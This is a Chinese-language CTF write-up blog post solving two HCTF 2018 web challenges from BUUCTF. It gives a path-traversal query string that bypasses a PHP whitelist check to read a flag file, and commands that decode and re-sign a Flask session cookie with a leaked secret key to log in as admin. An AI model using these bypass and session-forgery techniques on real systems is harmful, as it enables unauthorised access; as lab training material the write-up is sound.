BUUCTF-HCTF做题笔记


[HCTF 2018]WarmUp

1. 进入界面是一个图像,首先看一下源代码:

image-20210601151405206

在这知道,我们传入的参数给了file那么接下来看一下checkFile这个函数

2. 查看checkFile函数:

image-20210601151631374

  • 首先 给出了白名单,并且判断形式参数(file)是不是字符串;

image-20210601151740130

  • 判断是不是形式参数(file)的内容在不在白名单数组里

image-20210601152104780

  • 这次判断形式参数从一开始到第一个?出现的位置里所包含的字符串,判断这个字符串在不在白名单列表,

image-20210601152849046

  • 这个和上一个类似,不过这个是先进行了url解码,可能是防止url编码绕过

3. 看了这么多不知到flag到底在哪,刚好还有个hint.php没看

image-20210601153154020

所以估计是让我们访问 ffffllllaaaagggg

那么,没有其他特殊的过滤,直接访问即可

?file=source.php?file=hint.php?../../../../../ffffllllaaaagggg

[HCTF 2018]admin

1. 先注册登录进去,之后啥也没有,看下源代码

image-20210601155847302

这里要求我们是admin登陆,要么是拿到admin密码,要么是利用admin登陆cookie完成登陆

2. 继续查看其他地方的源代码

image-20210601160109761

  • 在更换密码界面找到了这个,那么先访问一下,下载源码,看到flask,可能存在模板注入(发现不是)

查看下载文件,找出有用信息

  • routes.py在这里查看各个界面对信息的处理方法

image-20210601161222648

在这里发现,每次登陆都会把用户名写进session

猜想,可以利用adminsession来登陆admin,并且不同用户的session可能只有用户名不一样

查看本地session

.eJw9kEGLwjAQhf_KkrOHdrq9CB5cUoOFSemSWDIXcWvdJm1ctiraiP99iwseHsPjweN7c2fbw9CcWjY_D5dmxrZ2z-Z39vbF5sw4HSOYYJS5Sa_fpdrbosJgAlkSuZd-4xF0igHjQugIQ9-hmhysk6IyAZ0Oxn1acpgYwFR6clStAUE6A3qUwtzQdTHxZTR5MEq6QmXT_bDyKZ1SterIZanxmKAqbxjalhS10ue95CWgq6EQ5YI9Zqw-DYft-adrjq8JxPOeRDmSq0fi2YRaAwq8Sr6ZECYo3kUIK4tVCZLvexTZSMvFs8763XfzakKe_-rrf3Lc-SlgMSRsxi6nZnh-jcURe_wBqEFqGg.YLXpDg.XQzyIRpa2VGfzAoYhWaH_Cvgnrs
  • 显示是密文,那么我们需要解密,解密需要的密钥,可以在config.py中找到

image-20210601161920023

这里利用flask-session-cookie-manager这个工具解密

用法:

image-20210601162117904

进行解密:

flask-session-cookie-manager % python3 flask_session_cookie_manager3.py decode -s 'ckj123' -c .eJw9kEGLwjAQhf_KkrOHdrq9CB5cUoOFSemSWDIXcWvdJm1ctiraiP99iwseHsPjweN7c2fbw9CcWjY_D5dmxrZ2z-Z39vbF5sw4HSOYYJS5Sa_fpdrbosJgAlkSuZd-4xF0igHjQugIQ9-hmhysk6IyAZ0Oxn1acpgYwFR6clStAUE6A3qUwtzQdTHxZTR5MEq6QmXT_bDyKZ1SterIZanxmKAqbxjalhS10ue95CWgq6EQ5YI9Zqw-DYft-adrjq8JxPOeRDmSq0fi2YRaAwq8Sr6ZECYo3kUIK4tVCZLvexTZSMvFs8763XfzakKe_-rrf3Lc-SlgMSRsxi6nZnh-jcURe_wBqEFqGg.YLXpDg.XQzyIRpa2VGfzAoYhWaH_Cvgnrs

image-20210601162313392

  • 修改session进行加密:
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b553f3a616e857b9c3c6bdbf6ef3e93358e439d1333b79f3253b4bf37cc96fceb63ccce24f1295d04ce6a3c916a0b50b559eadf19bc714138ae6a6be4462768d', 'csrf_token': b'd2edd2f72d193760c045ccf60943ab1d647e0a2d', 'image': b'02jS', 'name': 'admin', 'user_id': '10' }"

image-20210601163815771

把它作为session,登陆admin,密码随便。。。

image-20210601163957560

image-20210601163915968


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录